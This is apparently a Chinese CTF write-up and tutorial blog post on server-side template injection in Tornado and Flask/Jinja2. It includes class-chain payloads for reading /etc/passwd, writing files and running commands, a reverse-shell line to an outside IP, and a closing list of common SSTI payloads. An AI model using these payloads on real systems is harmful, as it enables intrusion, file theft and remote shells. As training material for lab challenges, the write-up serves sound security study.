CTF模板注入

原创

marsxu626 于 2020-07-30 01:04:07 发布 3151 收藏 16

分类专栏： buuctf刷题

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_43952190/article/details/107675740

版权

buuctf刷题 专栏收录该内容

8 篇文章 0 订阅

订阅专栏

模板注入赛题

1. [护网杯 2018]easy_tornado

进入后三个链接

> 1. /flag.txt # flag in /fllllllllllag
> 2. /welcome.txt #提示render（渲染）
> 3. /hint.txt #提示md5(cookie_secret+md5(filename))

url上两个参数：filename&filehash

根据提示，要查看flag，已经知道了文件名，filehash也知道了构造方法，但是并没有发送cookie，所以重点就放在提示二来寻找cookie。

根据题目，tornado是一个python的模板，所以这道题要利用就是tornado模板注入。

1. 随便输入不存在的文件名，弹出错误提示；

```
http://9ad6c8d3-2333-4823-9112-fe7e70904ffc.node3.buuoj.cn/error?msg=Error
```

Error

https://blog.csdn.net/weixin_43952190

2. 看到msg的内容直接出现在了页面上，我们试试msg的值是可控的。
3. 在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是我们的一些环境变量
payload

```
http://9ad6c8d3-2333-4823-9112-fe7e70904ffc.node3.buuoj.cn/error?msg={{handler.settings}}
```

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '02e83af2-9543-4d7a-973e-3211379b7d89'}

https://blog.csdn.net/weixin_43952190

> {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '02e83af2-9543-4d7a-973e-3211379b7d89'}
> 得到flag：

`flag{649995bb-be24-4f0c-b935-b0f12fc31c94}`

脚本

```python
#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    print(md5.hexdigest())
    return md5.hexdigest()

def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '02e83af2-9543-4d7a-973e-3211379b7d89'
    print(cookie_secret + md5(filename))
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()
```

[pasecactf_2019]flask_ssti

模板注入（ssti）

> 试试{{config}}
> 发现过滤 ' , _ , . \

> {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}，其中[80]指的是_frozen_importlib.BuiltinImporter。这样我们不会得到输出，但我们可以借助外部VPS，wget一个文件。
> 然后我们得到app.py，读文件。{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}，就可以得到app.py文件内容。反推flag即可。

```
nickname={{()["\x5F\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[91]["get\x5Fdata"](0, "proc/self/fd/3")}}
```

【扩展：ssti】
模块注入：不正确的使用flask中的render_template_string方法会引发SSTI。

- 在Jinja2模板引擎中，{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量，还可以执行一些简单的表达式。
- 通过{{}}变量包裹符进行简单的表达式测试来判断是否存在SSTI漏洞
- 例如{{config}}（查看flask全局变量），{{2*2}}

> ssti文件读取

```
__class__  返回类型所属的对象（类）
__mro__    返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
```

1.获取字符串的类对象(获取一个类)：

```
'a'.__class__
<type 'str'>
```

2.寻找基类链，找到<type ‘object’>类

```
'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
```

3.寻找<type ‘object’>类的所有子类中可用的引用类

```
'a'.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestrin
g'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <typ
e 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'
>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <
type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_
method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>,
 <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_de
scriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <ty
pe 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatter
iterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <
type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_resul
t'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>
, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <
class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict
_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <typ
e '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <cl
ass 'codecs.IncrementalDecoder'>]
```

这里可以看到有一个<type ‘file’>类，也就是对文件操作的类，那么可以拿他的方法进行文件读取。

4.利用<type ‘file’>的read()方法进行文件读取

```
'a'.__class__.__mro__[2].__subclasses__()\[40]('/etc/passwd').read()
```

命令执行

继续看命令执行payload的构造，思路和构造文件读取的一样。

python中进行命令执行的模块是os，那么寻找包含os模块的应用类：

贴一个快速寻找os模块的脚本（利用globals可查看到此类包含所有模块的字典）：

```
# encoding: utf-8
num=0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print(num)
             print(item)
         num+=1
    except:
        print('-')
        num+=1
```

os模块中的system()函数用来运行shell命令；但是不会显示在前端，会在系统上自己执行。

listdir()函数返回指定目录下的所有文件和目录名。返回当前目录（’.’)

命令执行payload:

```
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.1
4/7777 0>&1')
```

构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到.

这里可以使用bash等一系列反弹命令将shell反弹到自己的vps上，或者利用curl将结果发送到自己的vps上。

ssti常用payload

```
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").pope
n("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/htm
l").read()' )
```